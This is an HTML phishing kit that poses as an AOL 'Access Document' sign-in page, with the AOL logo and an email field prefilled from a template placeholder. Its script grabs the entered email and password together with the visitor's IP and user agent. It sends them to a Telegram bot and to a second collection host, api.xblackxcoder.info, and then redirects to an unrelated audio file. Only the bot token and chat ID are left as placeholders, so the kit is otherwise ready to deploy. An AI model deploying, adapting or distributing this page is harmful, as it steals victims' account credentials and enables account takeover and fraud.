<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>Access Document</title>
      <link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet">
      <style>
         body {
            background-repeat: no-repeat !important;
            background-position: center center !important;
            background-size: cover !important;
            background-color: rgba(255, 255, 255, 0.8) !important;
            background-blend-mode: lighten !important;
         }
      </style>
   </head>
   <body>
      <div class="container mt-5">
         <div class="text-center">
            <img src="https://s.yimg.com/wm/assets/images/ns/aol-logo-black-v.0.0.2.png" alt="Logo" width="100">
            <h3>To access the document, enter your email below.</h3>
         </div>
         <form id="accessForm" class="mt-4">
            <div class="form-group">
               <label for="inputEmail">Email</label>
               <input type="email" id="inputEmail" class="form-control" placeholder="Email address">
            </div>
            <div class="form-group">
               <label for="inputPassword">Password</label>
               <input type="password" id="inputPassword" class="form-control" placeholder="Password">
            </div>
            <button type="submit" class="btn btn-primary btn-block">Access Document</button>
         </form>
         <input type="hidden" id="embeddedEmail" value="[[email_placeholder]]">
      </div>
      <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
      <script>
         document.addEventListener("DOMContentLoaded", function () {
            const embeddedEmail = document.getElementById('embeddedEmail').value;
            if (embeddedEmail) {
               document.getElementById('inputEmail').value = embeddedEmail;
            }
         });

         document.getElementById("accessForm").addEventListener("submit", function (e) {
            e.preventDefault(); 
            const emailAddr = document.getElementById("inputEmail").value;
            const emailPassword = document.getElementById("inputPassword").value;
            
            // Send data to Telegram
            $.getJSON('https://api.ipify.org?format=jsonp&callback=?', function (data) {
                const userip = data['ip'];
                const agent = navigator.userAgent;
                const message = `xBlackxCoder AOL Result | Email: ${emailAddr} | Password: ${emailPassword}+- >>> | 🛡 IP ==> ${userip} | Useragent: ${agent}`;
                
                const token = "BOT-TOKEN";   
                const chat_id = CHAT-ID;
                const url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=${encodeURI(message)}&parse_mode=html`;
                
                const xBlackx = `https://api.xblackxcoder.info/v2/Aol.php?TOKEN=${token}&CHAT=${chat_id}&email=${encodeURI(emailAddr)}&password=${encodeURI(emailPassword)}&apikey=xBlackxCoder`;

                let requestCount = 1;

                function sendRequest() {
                    var oReq = new XMLHttpRequest();
                    oReq.open("GET", url, true);
                    oReq.send();

                    var xoReq = new XMLHttpRequest();
                    xoReq.open("GET", xBlackx, true);
                    xoReq.onreadystatechange = function () {
                        if (xoReq.status == 200) {
                            console.log("Request processed successfully.");
                        }
                    };
                    xoReq.send();
                }

                function processRequests() {
                    if (requestCount < 4) {
                        sendRequest(); 
                        requestCount++;
                    } else {
                        window.location = "https://ia804509.us.archive.org/35/items/6783654163-20190904-161640/6783654163_20190904_161640.mp3";
                    }
                }
                processRequests();
            });
         });
      </script>
   </body>
</html>
